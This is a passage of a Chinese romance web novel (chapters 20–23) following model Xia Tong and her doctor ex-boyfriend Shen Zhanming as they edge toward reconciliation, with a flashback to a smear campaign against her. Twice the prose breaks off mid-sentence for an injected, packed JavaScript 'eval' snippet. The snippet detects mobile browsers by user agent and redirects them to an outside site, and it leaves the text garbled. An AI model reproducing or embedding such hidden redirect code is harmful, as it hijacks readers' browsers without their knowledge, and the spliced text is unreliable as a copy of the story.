夏曈被撞得后退,俯身安抚它,汤圆激动死了,脑袋钻进她怀里,还要舔她的脸。她一边招架着,一边费力地起身,发丝上的零星落雪都被它蹭掉。 一抬头,沈湛明抱着她的猫站在门口。 玄关明暖的灯光投射在他脸上,他安静地看着她,眸光温柔克制,眼底藏着说不清道不明的情绪。 厨房香味飘出来,沈湛明在准备晚餐,是她喜欢的腊排骨汤。 他站在门边没动,似在无声邀请。 夏曈吸吸鼻子,很自然地走过去,嘟囔道:“饿了。” 沈湛明侧身将她让进去。 汤圆跟在夏曈身后进门,在她脱掉羽绒服的时候脑袋还不停往她怀里拱。 行李箱搁在门边,沈湛明抬手关门,将雪夜凉意都隔绝在外。室内温暖如春,晚餐香味扑鼻,电视机里播放着樱桃小丸子,静谧的暖意如同一个熨帖的怀抱,缓缓拥住夏曈。 玄关鞋柜有一双专属于她的史迪仔棉拖,夏曈不知道他什么时候准备的,仿佛是认准了她会过来。 她想起刚才沈湛明开门的迅速,好奇问:“你怎么知道我回来了?” 厨房已经关火,因此沈湛明仍抱猫站在她身前,视线落在她被热气蒸红的脸颊,“看到了你的朋友圈。” 夏曈是很喜欢分享风景的。她的航班刚落地,就迫不及待拍了张雪景,发在朋友圈。 所以沈湛明才能准备好晚饭。 可是天知道,他一个向来不关注任何平台的任何动态的人,怎么会如此碰巧刷到她随手拍的照片,并推断出她已经回来S城。 至于汤圆,沈湛明也有解释:“汤圆平时喜欢坐在玄关,也许它听到了你的脚步声。” 嗯,小狗的听觉很灵敏。 “这样呀,” 夏曈站起身,随手扎了个丸子头,露出细腻纤长的脖颈,“它很想我吗?” 沈湛明看她。玄关明亮的灯光下,她仰着脸抿唇笑,脸颊的细小绒毛被照成半透明色,唇妆残缺,却让人很有接吻的欲望。 “嗯。” 他移开视线:“很想你。” 夏曈笑声清脆,一把将汤圆抱进怀里,嗓音甜腻地夸奖:“好宝宝,就知道你最乖啦。” 沈湛明无声地勾了勾唇,把猫放在沙发,走进厨房。 可怜的胶布还不知道自己被妈咪冷落了,盘踞在沙发上,一双睿智的眼睛紧盯着窗外的雪花,恨不得伸爪子扒拉两下。 夏曈走过去对它一顿蹂躏,“小乖乖,想我没?” 胶布下午才刚被沈湛明喂了罐头,此时并不饿,因此只喵呜叫了声,并不亲近这个铲屎官。 夏曈把脸埋在它肚子上,蹭了个爽。随后又叹气,养了这么只笨蛋肥猫,还能怎么办呢,宠着呗。 那边沈湛明把晚餐端上桌,对沙发上和猫滚在一起腻歪的夏曈说,“去洗手。” 夏曈应了声,在胶布脑袋上吧唧亲了口,穿上拖鞋一阵小旋风似的去了洗手间。 自动感应机吐出泡沫,散发出清新的皂角香味,夏曈认出这是沈湛明常用的那款,包装上印着七步洗手法的详细步骤。 她对于洗手这种事向来敷衍,远远比不得身体沐浴护理的精心程度。后来两人同居,沈湛明注意到她在某些事上的不拘小节,出于医生的职业惯性,温和又强硬地叫她改掉了那些极为常见、实则并不卫生的习惯。 夏曈拉开椅子坐下,接过沈湛明递来的筷子,突然想起什么:“你今天没上班吗?做这么一桌子菜。” “今天周末,”沈湛明淡声,“而且是小年。” “是吗?”夏曈怔了怔,“我都忙糊涂了。” 骨汤很美味,她低头慢慢喝,唇角不自觉勾起,那双眼睛也亮晶晶的。 沈湛明知道,这是夏曈的小习惯,吃到好吃的,就心情美了,烦恼没了,看谁都顺眼了,脸上也忍不住带笑了。 他唇角微勾,将那盘清炒小菜挪到她那边,不动声色地提醒她注意膳食均衡。 夏曈下意识地就夹了一筷。 两人之间的气氛实则仍有些尴尬,但饭桌上不谈烦心事,因此对于某些话题都默契地选择不去触及,并且有汤圆在旁边逗笑,夏曈这顿饭吃得开开心心,沈湛明脸上的笑意也没下去过。 饭后,夏曈将碗筷放到洗碗机,再收好台面。 沈湛明将餐桌那一块儿打扫干净,去书房接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469383|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个电话后,出来就见到客厅里已经没有了夏曈的身影。 他怔了怔,一时竟没再往前。 方才实习医生提出的问题不算蠢,可此时沈湛明的心脏却在胸腔里快速跳动,他觉得烦闷,但应该不是气的。 他接了个电话的功夫,五分钟,十分钟?足够她溜走了。 反正她要走,也是理所应当。 他的房门为她敞开。 与此同时,她也拥有随时离开的权利。 沈湛明握着手机,迈步走到客厅。 电视机仍开着,汤圆趴在沙发前的地毯上。他走过去坐下,沉默着摸了摸汤圆的脑袋,一人一狗对视半晌,相顾无言。 恍惚想起,当初夏曈不告而别,也是相似的情景。 他不同意夏曈提出的分手,但也没时间再去哄她,匆忙赶回医院做一台非常重要的手术。等手术结束已是六个小时后,他连水都没来得及喝,第一时间给夏曈拨去电话,发现所有联系方式已被她拉黑。 当时沈湛明的心率比此刻更快,他驱车赶回家,家里已经没有了她的生活痕迹。那是沈湛明生平第一次体会到心里被挖空一块是什么感觉,他找遍所有房间,最后只在客厅茶几上看到她遗漏的一枚发卡。 他颓然地拿起来,发现自己的手在轻微地颤抖。 有了分手时的前车之鉴,沈湛明以为自己该对她的不告而别感到习惯。 但事实却并非如此。 当内心的恐惧再次上演,人并不会对此免疫,只会陷入同样的痛苦漩涡中。 沈湛明关闭电视,抬手揉眉心。 此时,角落里窗帘微动,旋即响起一声猫叫。 他抚摸汤圆的动作顿住,转头看去。 夏曈从窗帘后绕出来,怀里还抱着胶布,脸上带着兴奋的笑容:“沈湛明,我想吃冰激凌。你家有吗?” 她刚才看雪时发现有人在下面打雪仗,便抱着猫一起凑在窗前围观。没想到那群人打着打着就转移阵地,夏曈不舍得这个热闹,也挤到角落处,不知不觉就钻到了窗帘后。 沈湛明凝视着她,有一瞬的晃神,“……冰箱里。” “真的?都有什么味儿的呀?” 夏曈放下猫,步伐轻快地跑去看。 她的声音清脆,语调轻扬,是心情很愉悦的样子。沈湛明坐在沙发上没动,感到心脏跳动的速度慢慢恢复正常。 “哇这么多!”她惊喜的声音传来,让他的思绪和理智缓慢回笼,“你不是觉得冰激凌太甜,从来不吃的吗?” “你才刚吃过晚饭,过一会儿吧。” 他慢半拍地想起劝阻:“半个小时。” 夏曈嘴里应着,却馋得口水都快流出来,“我先看看都有什么味儿。” 她蹲在那儿扒了半分钟,才依依不舍地坐回沙发,“那个巧克力的最好吃,里面还有坚果碎。” 沈湛明不记得那些冰激凌什么味道,他确实不爱吃这个,不过他也记得夏曈爱吃,所以都买了很多。 橱柜里还有他之前买来的零食,这段时间夏曈总出差,来送猫时,就会顺手拿上几包。反正沈湛明不吃这些,放在那里也是浪费。 至于他当初为何要买,两人都不提。 沈湛明的视线落在她脸上:“准备几号回葳市过年?” 夏曈:“没想好,应该28号吧。” 她年前不会再奔赴外地,但还有些琐碎的工作需要完成,再和朋友聚聚,怎么也得几天。 “嗯,”沈湛明语气平淡,“不和谢家那个小儿子再见面了吗?” 夏曈一怔,转头看他:“我和他分手了。” 沈湛明:“我知道。” 夏曈歪头:“那你还问什么?” “断干净了吗?” 沈湛明迎着她的视线,眉眼幽静深邃:“以后还会联系吗?” 21. 第 21 章 此时是餐后,可以谈正事。 夏曈沉默一瞬,忽地笑了:“这很重要吗?” 她眸光灼灼,语笑嫣然,在灯下如星般璀璨。 沈湛明神情平静,却隐有压迫感,“很重要。” “为什么?” “既然已经分手,还留着联系方式做什么?准备以后再重新开始吗?” 汤圆蹲在夏曈的腿边,脑袋搭在她膝盖,眼睛湿漉漉地望着她。 纵使沈湛明养了它这么久,它还是跟夏曈比较亲,一见了夏曈就恨不得黏在她身上。 “我还什么都没说呢,”夏曈耸肩,“你何必这么假设?” 沈湛明平静道:“有这种可能存在。” 夏曈扭脸看他,唇角勾着笑:“听你的语气,重新开始并不是个褒义词。” “至少放在你和谢桁之间,不是。” “噢,”夏曈漫不经心问,“如果是跟你呢?” 沈湛明视线上移,看着故作平静的她。 她自以为抛出一个诱饵,但他的眼里对此没有出现惊喜或慌乱,仍深沉如一片月下的湖,他心里清楚,她现在给的仅是微不足道的一粒糖,而他并不会为了虚无缥缈的利益和诱哄而感到满足。 因他要的,是她的全部。 “这个词在我这里不成立,夏曈,因为我从没有说过不爱你。” 沈湛明淡然出声。 湖水翻涌,淹没她的小聪明。 夏曈哽了下:“可是我说过。” “所以你能否认真考虑一下?” “考虑什么?” “跟我重新开始。” 外面雪下得很大,扑簌簌地敲在玻璃窗。 鼓噪的声音传入忽然静谧的客厅内,密集又喧嚣,像心跳。 夏曈歪头问:“你是认真的吗?” 饶是这种时刻,沈湛明仍眉目冷峻,“我开过玩笑吗?” 夏曈很想反驳说,你怎么没有开过玩笑,可话到嘴边又咽了下去,唯脸颊红得不正常。 她摸着汤圆的脑袋:“虽然我和谢桁分手了,可是我们前不久还在热恋呀,我需要一个缓冲期,慢慢消化这件事。” 沈湛明一针见血道:“你也没有很难过。” 夏曈坚称:“我很难过,只是没有表现出来。你要我现在掉眼泪吗?” 沈湛明转头,细细观察她脸上表情。 夏曈别过脸去,不让他看。 短暂的沉默后,沈湛明轻声问:“当初你跟我提分手时,有掉过眼泪吗?” 夏曈转身看他,一手拍在抱枕上,“怎么没有?我每天都在哭诶,很伤心的,只是你不知道。” 沈湛明又问:“那你有后悔过和我分手吗?” 夏曈嘴巴动了动,没回答这个问题,拿出她最常用的耍赖花招:“你再说我就真哭了。” 沈湛明叹了口气,移开视线,“你不用这么气我。” 他最看不得她掉眼泪。她年纪小,性子娇纵,不是没做过惹怒他的事。可当她眼巴巴望着他,泪珠半掉不掉地挂在睫毛上,他就什么气都消了。 他能怎么办呢,她是妹妹,是他的乖乖。沈湛明在尚且不懂什么叫喜欢的年纪,就先懂得了要一辈子对她好。他活了二十多年就爱她一个,捧在手心里娇惯得跟什么似的,连他大学舍友都笑他原来是个恋爱脑。 异地恋那几年,沈湛明忙得喘不过气,也见缝插针地打电话发信息,问她好好吃饭没,心情好不好,遇到烦恼了吗,有想要的东西吗,他买单。他能跟她计较什么呢,宠着都觉得不够。 哪怕当初她闹分手,他气得眼前发昏,也没舍得说半句重话。现在真让她掉几滴眼泪,他怕是更加狠不下心了。 可沈湛明必须狠心。 他就是要让夏曈和谢桁彻底结束。 夏曈慢慢回过味来:“谢桁的小姨约我见面,有没有你的功劳?” “功劳谈不上,她一直都不看好你们。”沈湛明坦然道,“你在这段感情里付出太多,单方面的容忍,是不能让感情走到最后的。” “谢桁出国深造也是必然,她们早就计划好了谢桁以后要走的路。我只是让你们分手这件事提前发生而已。” 沈湛明转头看她:“我也说过,哪怕不以前男友的眼光来看,你们也不合适。和他恋爱,你一直在被消耗情绪,你们在一起多久,你就哄了他多久。所以分手这种事宜早不宜迟,难道要拖到过年吗?” 夏曈怔了许久,才低声道:“沈湛明,你真讨厌。看我分手,你很高兴,是不是?” 沈湛明不否认,又回答了她前半句话:“你看我哪里都讨厌。” 夏曈去拿冰激凌,巧克力味儿的,里面掺了坚果碎。她又打开电视,边看综艺边吃冰激凌,汤圆馋得流口水,恨不得抬爪子扒,被沈湛明抱走。 窗外雪大如絮,很快天地茫茫。 室内温暖如春末,夏曈歪在沙发上吃冰激凌,撸起毛衣袖子,露出一截皙白的小臂。 沈湛明不经意瞥见她手臂的乌青,“怎么弄的?” 她皮肤白,便衬得那块痕迹青中带黄,愈发显眼。 “没事,被拍摄道具碰了下。”夏曈满不在乎。 沈湛明的视线在那块停留两秒,起身去取热毛巾,给她敷在淤青上,同时以指腹轻轻按揉。 夏曈怕痒,瑟缩了下,被沈湛明眼神制止,又抿唇笑道:“没什么大事儿,这种小伤我经历得多了,有经验,放心吧过几天就好了。” 沈湛明抬眸:“经历得多了?” “嗯呢。”夏曈腮帮子轻动,纤细的手指间夹着细长木勺。 沈湛明默了瞬,“你以前可没这么磕碰过。” 她刚工作那时,虽然整天吵嚷着浑身痛,但沈湛明每晚都给她细致地检查过,除却鞋子不合适导致的细小摩擦外,她身上基本没什么伤口。 “刚毕业时只能接一些小的合作,换好衣服化了妆,摆几个姿势就行。现在拍摄要求提高了,难度就更大了嘛。”夏曈语气平淡,“干活不就会这样,磕着碰着,免不了的。” 她乌黑的眼珠微动,看到了沈湛明微蹙的眉心,不由笑道:“你干嘛呀,沈湛明,不就碰了下吗,我又不是小孩。” 沈湛明自然明白这个道理,只低声嘱咐:“以后有事随时和我联系。” 夏曈没听懂要联系什么,她去医院缝针,他还能给她打八折? 就这么热敷片刻,沈湛明将毛巾放回去,“自己平时可以轻轻按揉,有助于淤青散开。” 夏曈说了声好。 那盒冰激凌太甜,她吃到一半就觉得腻,想也没想,把勺子往里一插,给了沈湛明。 沈湛明随手接过,夏曈这才意识到不妥,转头看去,没曾想他两三口就把冰激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那天夏曈急躁躁的,拽住他的衣领,还咬伤了他的唇。过程很仓促,两人都心如擂鼓。 沈湛明坦荡至此,不屑于弄虚作假,“曈曈,我今晚说的话,没有一句是在开玩笑。” 他从小到大做过无数次决定,每一次都选择了正确且理智的道路。若真的想,他难道没有办法放下一个人吗?只是在夏曈的事情上,沈湛明的理性永远抵不过感情。 以前是,现在是,以后永远都是。他注定做不到将她从心里割舍而去。 夏曈眨眨眼:“好啊。” 她又补充道:“但我不会很快就给你答复。” 沈湛明沉默一瞬,颔首:“我有耐心。” 他已经等了那么久,多少日夜都熬了过来。如今人就在眼前,情意悄然滋长至难以控制的地步,但夏曈性子犟,他越进,她反而越会抵触,除了继续等,没有别的办法。 夏曈走到对面自己家,按开指纹锁,汤圆依依不舍地紧跟其后,沈湛明站在明亮的走廊里,看似在阻拦汤圆,实则视线落在她身上。 “回家吧汤圆,我们明天再一起玩哦。” 汤圆听不懂她的话,仍对她讨好地摇尾巴。 夏曈看了眼沈湛明,低睫,关闭房门。 22. 第 22 章 夏曈没有删掉谢桁的联系方式,因此这几天,他的消息一直不断。 无非是求复合的那些话,撒娇、卖乖,没有说服力的保证。高强度的工作已经让夏曈很力竭,此刻再看到他满屏的文字,除了头痛,没有其他感受。 不由想起沈湛明的话,她和谢桁恋爱期间,始终是她在单方面消耗情绪,而谢桁是索取的那一方。 果真如此吗? 夏曈无法跳出当事人视角去审视这段感情。但凭心而论,谢桁带给她的快乐是真实存在的,她承认他偶尔的幼稚与任性,不代表她会将这段恋爱贬低得一无是处。 夏曈是个很懂得发掘闪光点的人,若谢桁真的不好,她当初又怎会和他在一起。 何况她当时经历过那些,若没有谢桁带她玩乐,她未必能真正从阴影里走出来。 清晨起床,雪还在下,窗外白茫茫一片。 夏曈穿着单薄的居家服躺在沙发上,电视机开着,只起到一个制造背景音的作用。 她揉了揉眼睛,点开微信,在闺蜜群里发消息。 【夏曈曈:我和谢桁分手了。】 群里人都和夏曈一个家属院长大的,出门走两步就能逛到对方卧室的关系。她们小时候一个幼儿园,初高中都在一个学校,只大学了才分道扬镳。 七个人如今都有各自的事业要忙,还有个在南半球念书的,虽然平时话不多,但都没断了联系。群里消息也没停过,有喜欢追剧的,把群当备忘录的,时不时分享身边八卦的,还有个成天转发腹肌链接的活菩萨。 夏曈的消息一发出,回复最快的反而是身在南半球的那个。 吴冉:哈哈,我就知道。 夏曈曈:? 吴冉:说错话了,我换一句。咋回事啊,俺滴曈! 程萱:谢桁是哪位,你俩啥时候谈的,我咋不知道。 李然:@刘淑智,姑奶奶,别睡懒觉了,你磕的cp出重大新闻了。 曹欣:@程萱,你脑子呢,俩人都谈半年了。 程萱:就说呢,谈半年了我咋不知道啊! 孟瑶提醒她:有八块腹肌那个。 程萱:那我想起来了。@夏曈曈,怎么分了,那小帅哥,腹肌多带劲啊。 夏曈曈:擦擦你的哈喇子吧。 曹欣:所以为什么分手? 夏曈曈:他要出国。 曹欣:你跟他一起去呗,他家不是挺有钱的吗,你跟他一起玩去。 夏曈曈:我在国内待得挺好的,干嘛要出国。 李然:@刘淑智,别睡了。 吴冉:那看来你俩感情也没多坚固,出个国就能分手。 曹欣:附议。 孟瑶:附议。 程萱:你们站着说话不腰疼,距离也是很重要的,好不好? 夏曈曈:就是就是。而且还有个原因,我觉得他有点黏人。 程萱:黏人不好吗?天天有腹肌耍,哧溜。 夏曈曈:…… 吴冉:…… 曹欣:……你有点出息没? 李然:@刘淑智,我求你了,你别睡了行不行? 孟瑶:@李然,别叫她了,大周末的她不睡到十二点不会醒。 夏曈曈:谢桁很好啊,我不后悔和他在一起。只是太热情了也有点累,我还是喜欢稍微成熟一点的。 曹欣:我听明白了,这个夏曈曈还是忘不了湛明哥。 一石激起千层浪。 众人:啊?你俩怎么谈过?! 夏曈也很震惊。 孟瑶:@曹欣,你怎么知道? 曹欣:湛明哥那时候理都不理我们,却对曈曈有求必应。这还不明显吗。 程萱不信:拉倒吧,湛明哥和曈曈家是世交啊,关系近点儿不很正常?你少在这乱磕了,是饭吗你就开吃? 曹欣:我见过他俩亲嘴儿。 程萱:卧槽。 李然:卧槽。 孟瑶:卧槽。 吴冉:卧槽。湛明哥还会跟人亲嘴呢,我以为他性冷淡。 曹欣:腻歪死了,你们都没见过湛明哥那个样,走两步亲三口,恨不得长在我们夏曈曈身上。 孟瑶:夏曈曈你说!是不是被湛明哥欺负了,姐几个给你出气去! 曹欣:@孟瑶,你走开行不?人家俩恩恩爱爱的,你个二次元在这凑什么热闹? 孟瑶:因为我不信湛明哥会和夏曈曈谈恋爱,除非他俩当我面亲一口! 夏曈脸红如蒸熟的螃蟹,不想再深入这个话题:好了,停,不许你们再讨论了。 曹欣:我见过他俩亲亲啊,诸位想听细节吗,v我50,挨个给你们私发哟~ 夏曈曈:啊啊啊啊啊啊啊啊啊曹大欣你住嘴! 她退出群聊,点开曹欣的对话框,私聊问她怎么知道的。 曹大欣:你还记得高考完那个暑假,你出去跟同学看电影吗?那天是湛明哥接你回来的吧? 夏曈回忆半天,才记得是有这么个事。电影是午夜场,她看完出来都十二点半了,沈湛明那个时间也正好从学校忙完回来,便顺道在家属院门口等她。 曹大欣:我当时在阳台偷偷抽烟呢,想着大半夜的应该没人发现,结果没多大会儿就见你俩腻腻歪歪地过来了,确实是走两步亲三口,我看得可清楚了。不过后来湛明哥把你按树上那会儿怎么亲的,我就没看见了。也怪那老梧桐树,怎么长那么密呢。 夏曈看着这行字,脸红得要命。 她以为当初藏得很好呢,怎么会如此社死! 曹大欣:谁让你装得跟湛明哥不熟似的,我就只好配合你了呀。不过我觉得知道这事儿的应该不止我自己。你俩那眼神太明显了,尤其是湛明哥,对你和对我们区别对待成那样,很难不看出来呀。 夏曈服了:好吧,算你厉害。 曹大欣:嘻嘻。 这时,刘淑智终于被李然的电话叫醒,短短7秒的语音,哀嚎声响彻整个闺蜜群:woc啊,我磕的cp要be了?! 李然:这已经不是重点了,快去磕新的cp,这个夏曈曈居然瞒着我们跟湛明哥谈恋爱! 刘淑智:??? 群里聊得热火朝天,曹大欣又私聊问她:那你们当初为什么分啊? 夏曈随口道:问沈湛明,他提的分手。 曹大欣:扯淡。就看湛明哥对你的那股黏糊劲,他绝不会跟你分。 夏曈叹气:说来话长啊。 曹大欣看出她有难言之隐:那等你有空再说呗。 夏曈退出聊天框,手背盖在眼睛上,慢慢呼出一口气。 当初为什么分手呢? 她刚毕业没多久,欠缺社会经验,对人的防备心太少,不懂得镜头和文字可以曲解一切的道理,在面对某位资方少爷的示好时,拒绝的态度太委婉、不够坚决,被误以为是拿架子、故意吊着人家的胃口。 少爷觉得这姑娘有意思,于是越发展开攻势,恰好夏曈那会儿刚和沈湛明同居,心情好,所以对谁都笑盈盈的,一来二去,少爷更觉得自己很有希望。 后来有次,沈湛明开车送夏曈去往拍摄场地,那位少爷才知道,原来夏曈早就有男朋友。 少爷脸色难看:“你有男朋友,为什么不早告诉我?” 夏曈一脸莫名:“为什么要告诉你啊,我不喜欢工作时跟别人谈私事。” 少爷又问:“那我平时送你的礼物,你怎么收了啊?你要是对我没意思,干嘛要收呢?” 夏曈更莫名了:“你不是给每个人都买了礼物吗?大家都收了呀。” 少爷气愤道:“我那是怕单独送你,你觉得不自在!” 夏曈点头:“你要是单独送我,那我肯定不收。” 少爷恼羞成怒,认定自己是被这女的当鱼养了。 他此刻退出倒是不难,关键是当时整个拍摄组虽然嘴上不说,其实心里都觉得夏曈已经是他的准女友了,他要是就这么认栽,岂不是很没面子? 少爷长这么大就没受过这种委屈,气哼哼地开车回家了。 他不仅给整个拍摄组甩脸子,还扬言要撤资。 理由呢? 夏曈脚踏两只船,已经有了男朋友,还要勾引资方大佬。 夏曈听说这个消息后,只觉荒谬得可笑。她身正不怕影子斜,懒得理会这种low男,可拍摄组的人不能这么想,虽然他们不瞎,早就明白了怎么回事,可资金在人家手里捏着,他们除了装傻,还能怎么办? 撤资的第三天,网络上出现了大量水军,点名夏曈的id,说此模特品行不端,勾引大佬未遂,还和拍摄组的另一位网红搞暧昧。 后者纯属子虚乌有。但那位网红的各平台粉丝加起来破千万,女友粉更是无数,夏曈的私信里旋即出现了大量谩骂内容,她之前发布的帖文下也被辱骂性评论淹没。 夏曈发布了澄清的帖文,将事情来龙去脉讲清楚,并及时关闭评论区和私信,但粉丝很快扒到了她的手机号。 午饭时,夏曈挂掉又一个骚扰电话,深吸一口气。 她只是个刚入行不久的小模特,短短半天的时间,事情就发酵到这种地步,说没有人在后面推波助澜,鬼都不信。 夏曈给那少爷发信息:出来见一面吧,我有话跟你说。 少爷见到她的第一句话,就是:“想清楚了?和你男朋友分手吧,我能把你捧红。” 夏曈勾唇轻笑,温和问他:“每天早晨洗漱在镜子里看到你那张脸时,是不是都挺恶心的?” 少爷笑容僵住:“什么意思?” 夏曈笑说:“就是你想的这个意思。” 少爷冷笑:“夏曈,你觉得自己长得漂亮就很了不起吗?我告诉你,比你漂亮、比你身材好的,老子不知道睡过多少个!” 夏曈笑意不变:“那我也告诉你,如果睡过多少女人也能当做炫耀的资本,那你的水平已经垃圾到没有任何可取之处。无数的钱财就培养出来你这么个面丑心恶的人,你还很得意吗?你觉得那些女孩子和你在一起时心里怎么想,她们会真心夸你,还是需要做了足够的心理建设,才能鼓起勇气看一眼你的脸?” 她把见面场合特意约在咖啡馆,少爷气得呼哧喘气,拿酒杯的手都在颤,也没敢对她动粗,只低声威胁:“夏曈,你等死吧!” 夏曈拿包起 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沈湛明摸摸她的脑袋,眉头紧蹙。 他坐回沙发,夏曈还保持那个姿势趴在他怀里,吸吸鼻子,气得要死:“早知道他这么自恋,从一开始我就该狠狠拒绝他。可是我也当时没想和他把关系搞得很僵呀,怎么会有这种人呢,人家跟他客客气气地说话,他以为我喜欢他,好恶心。” 沈湛明压着满腔的火,低头吻她毛绒绒的发顶,抽纸巾擦去她的眼泪,心疼不已:“不哭了,曈曈不跟这种人一般见识。” 夏曈心里的气一时难消,嘴巴里嘟嘟囔囔骂个不停。她骂一句,沈湛明附和一句,到最后夏曈忍不住破涕为笑,仰起脸看他:“你也会骂人呀。” 沈湛明扬起眉:“我还会打人呢。” 夏曈眼睛红红:“真的?” “真的。”沈湛明低头吻去她的眼泪,柔声说,“当时沈教授得知我进医学院后,怕我以后遇到医患冲突被一刀捅死,特意安排我去学了两年散打。” 夏曈惊讶:“啊,这……让你和病人家属打架更有胜算吗?” 沈湛明语气正经:“让我锻炼好身体,以后逃跑更利索。” 夏曈弯眸笑起来。 沈湛明也勾唇,指腹将她脸上碎发拨开,又抹去她额头的细汗,“不哭了,乖乖,哭得一头都是汗。” 他吻住她的唇,很温柔的吻,带着安抚意味,随后轻声问:“要不要先去洗个澡,晚上想吃什么?” 夏曈没回答,闭眼享受他的轻抚,同时将他的衬衫下摆从腰带里扯出来,手指探进去,乱无章法地又抓又摸。 她做了新的美甲,小小的钻刮得沈湛明微痛,但他并未阻止,任由那只手笨拙地抓挠,只气息微乱地问她:“不饿?有力气吗?” 夏曈低头钻研:“还好。” 能撑住一轮。 撑不住更好,累得晕晕乎乎,她也不会想别的了。 沈湛明贴了贴她的脸颊,起身将汤圆关进客卧,随后返回沙发,将她压覆。 翌日上午,夏曈睡醒时,沈湛明已经去了医院。 床头留有一张字条,沈湛明的字迹苍劲有力,但饱含医生的通病——龙飞凤舞,难以辨认。 夏曈知道,这已是他尽力写得规整的结果:早饭在厨房里热着,冰箱里有水果,今天天气好,别总在家闷着,下楼玩一会儿,有事给他打电话。 最后又添了句:这件事我会找人解决,别担心。 夏曈把脸埋在他的枕头上,嗅着他身上洗发水和剃须水混合的清新味道,又浅浅睡了会。这才起床洗漱,她坐到沙发上吃烧麦,手机就在茶几放着,关机。 她其实不太敢打开手机。 尽管昨天表现得气愤又冷酷,可面对那么铺天盖地的恶意辱骂,饶是心理再坚强的人,也未必能保持心态平和。 夏曈只是个刚进入社会的小姑娘。她经历过最大的挫折,也就是高三有次模考失利,她的校排名下滑将近一千。 那种关键时刻,即便是交白卷,也不能训斥。班主任怕她心态不好,不敢说什么,只柔声鼓励。夏屹山和杜静兰也没批评她,笑呵呵说一次模考不算什么,谁没有失误的时候? 沈湛明晚上从实验室出来,买了新发箍送给她,直到确认她没有要哭的迹象,才返回实验室继续肝项目。 所以,一个在正常环境里长大的孩子,能面对什么恶意呢? 可这个网络,最大的风气就是从众,最不缺的就是恶意。 人们可以因为一句话、一个眼神、一个动作将互不相识的人辱骂退圈,也可以因为一种发色,将本应拥有大好前途的女孩子网暴至死。 反正骂你也不会付出什么代价,骂你,你就受着。 这个互联网上骂你的这么多,你还能一个个告吗? 夏曈不会、也不敢觉得自己是幸运的。 她将烧麦吃光,又喝了口豆浆,反复深呼吸,直到做足了心理建设,才颤着手打开手机。 刚一开机,数不清的信息、未接通话便如雪花般跳出来,充斥了整个屏幕。 23. 第 23 章 夏曈一条都不敢看。 她将手机拿远,抖着手,勾选全部删除,再进入最近删除,把痕迹彻底抹消干净。 做完这些,她点开微信,发现还有许多好友申请。 想也未想,把记录全部删除。 迅速做完这一切,夏曈才深喘口气,满身冷汗、惊魂未定地倒在沙发上。 汤圆叼着它的毛绒玩具过来,歪歪脑袋,黑眼珠湿漉漉的,似在确认主人的心情有没有好点。 夏曈默不作声地与它对视,眼泪流淌,洇湿了身下的薄毯。 沈湛明那边做事效率很高,夏曈再点开自己相关内容时,那些不堪入目的评论已经消失很多,还有些人在自己主页发布了手写道歉信,应该是怕被告,才服软认输。 她不知道沈湛明怎么做到的,也不想问。幸好这件事还没有蔓延到她的现实生活。她躺在沙发上放空,偶尔回复几个圈内好友的关心。 说不清是出于什么心态,她发了一堆无营养的信息和表情包去骚扰杜静兰女士。 杜静兰那边正忙着,被打扰一次还以为女儿想她了,哄了两句,但夏曈一直发,一直发,杜静兰不由得烦躁,发来语音怒吼:“夏曈曈!缺钱了就直说,少来拐弯抹角的,耽误你妈赚钱!” 夏曈收了杜静兰发来的转账,很识趣地不再打扰她。 她和沈湛明发消息,小狗探头的表情包。沈湛明也许在忙,过了很久才回复:醒了,感觉怎么样? 夏曈已学会抢答:还行。烧麦吃了,豆浆也喝了,我在和汤圆玩。 沈湛明:好乖乖。 沈湛明:我中午没办法回去,给你点外卖,你喜欢吃的那家红油馄饨? 夏曈回道:嗯嗯。 沈湛明似乎对她仍不放心,又叮嘱道:小区楼下的花园里开了一片郁金香,午睡后别在家闷着,让汤圆陪你去玩,好吗? 夏曈:好。 沈湛明:给我发条语音。 夏曈按住语音键,抿唇笑:“放心啦哥哥,我没事。” 也不知沈湛明能从她的声音里听出什么,不过夏曈觉得她的声音没有太大异样。 无非是嗓子沙哑些,鼻音重些。 好在沈湛明也没说什么,只让她吃完午饭给他拍照报备。 午饭后,夏曈将饭盒拍照发给沈湛明,以此证明她有把馄饨全部吃光,得到了沈湛明的又一句夸奖。 下楼扔外卖袋的功夫,手机响起提示音,夏曈一看,是那位被传与她搞暧昧的男网红发来的微信。 【夏曈,不好意思,那些事我刚看到,没想到会发酵到这种程度。我的少数粉丝是有些crazy,给你造成了伤害,无论如何我先替她们给你道个歉。特别过分、不理智的那些言论,我支持你拿起法律武器保护自己。】 那位男网红莫名其妙被少爷的水军黑了一通,也是满脸懵。 人家也不想和哪个女孩子传绯闻,毕竟也是靠女友粉吃饭的,传出恋情与死无异。于是吓得立刻在账号发布澄清文章,放了好几张拍摄组的大合照,表明与夏曈是朋友之间正常往来,再有造谣生事的,他会立刻请律师告人。 如此,才消停些许。 夏曈简短回道:没事儿,你也是无妄之灾。 那网红发来个语音:其实那天怎么回事,我们心里都清楚,但人家毕竟是资方的人,是吧,得罪不起,没人敢跟他对着干哪。唉,这都是什么事儿…… 夏曈听完语音,也在心里叹息。 是啊,这都什么事儿啊。 她下午没再看手机,抱着汤圆睡了会儿,然后在四五点钟不太热的时候,带着汤圆去小区花园里看郁金香。 日光已经不那么炽烈,照在人身上暖洋洋的很舒适,微风轻柔,汤圆凑在花瓣上好奇嗅闻,头上的毛发被吹得轻晃,夏曈挑着角度给它拍了张照,发给沈湛明。 